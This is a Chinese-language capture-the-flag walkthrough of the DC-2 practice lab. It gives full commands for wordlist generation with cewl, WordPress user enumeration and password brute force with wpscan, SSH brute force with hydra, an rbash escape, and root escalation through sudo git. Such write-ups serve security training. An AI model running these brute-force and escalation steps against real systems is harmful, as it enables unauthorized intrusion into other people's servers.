老规矩先arp扫存活主机
nmap扫端口
可以看到http和ssh端口开放,先从80端口入手,结果发现访问的时候网站自动跳转dc-2,说明域名解析错误。解决方法是在hosts文件中添加对应的IP和域名
接着直接访问dc-2,找到flag1
发现关键词cewl
cewl是一个ruby应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John theripper工具里进行密码破解。
cewl -w passwd.txt http://dc-2
访问dc-2时可以知道网页cms为WordPress,直接通过wpscan探测用户
wpscan
该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
常用参数
–update 更新到最新版本
–url | -u 要扫描的WordPress站点.
–force | -f 不检查网站运行的是不是WordPress
–enumerate | -e [option(s)] 枚举
wpscan扫描
1、扫描WordPress漏洞
wpscan --url http://www.xxxxx.top/
2、扫描wordpress用户
wpscan --url http://www.xxxxx.top/ --enumerate u
3、扫描主题
wpscan --url http://www.xxxxx.top/ --enumerate t
4、扫描插件漏洞
wpscan --urlhttp://www.xxxxx.top/ --enumerate p
5、使用WPScan进行暴力破解在进行暴力破解攻击之前,我们需要创建对应的字典文件。输入下列命令:
wpscan --url https://www.xxxxx.top/-e u --wordlist /root/桌面/password.txt
扫描得到三个用户,写入user.txt中
接着用wpscan爆出用户密码
wpscan --url dc-2 user.txt -P passwd.txt
访问WordPress默认登录界面 /wp-login.php,登录jerry的时候发现flag2
flag提示让我们换条路走,想到nmap扫描的时候还扫出了一个7744端口(ssh),使用hydra爆破ssh
hydra使用方法
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
爆破得到tom的密码
hydra -L user.txt -P passwd.txt ssh://192.168.111.133 -s 7744 -o hydra.ssh -vV
登录ssh
ls发现flag3,但是由于权限无法使用cat命令
这里有两种方法拿到flag3
尝试用ls命令发现ls没有被限制,查看usr子目录,可以看到vi没有被限制,用vi绕过rbash
另一种方法是先绕过rbash再添加环境变量
添加环境变量
export PATH=$ PATH:/bin/
export PATH=$ PATH:/usr/bin
成功绕过拿到flag3
flag3提示我们从jerry入手,pwd查看tom路径,发现在home目录中,在home目录果然找到jerry,接着在jerry中找到flag4
发现关键词git,猜测用git提权获得root权限
先查看具有root权限的suid文件
发现能用sudo,满足执行sudo -l 提示不需要密码可以使用git命令的前提
git提权
前提:执行sudo -l 提示不需要密码可以使用提权方法
1、sudo git help config
#在末行命令模式输入 !/bin/bash 或 !‘sh’ #完成提权
2、sudo git -p --help !/bin/bash
#输入!/bin/bash,即可打开一个用户为root的shell
再调用
!/bin/sh
成功获得root权限
在root目录中找到最后一个flag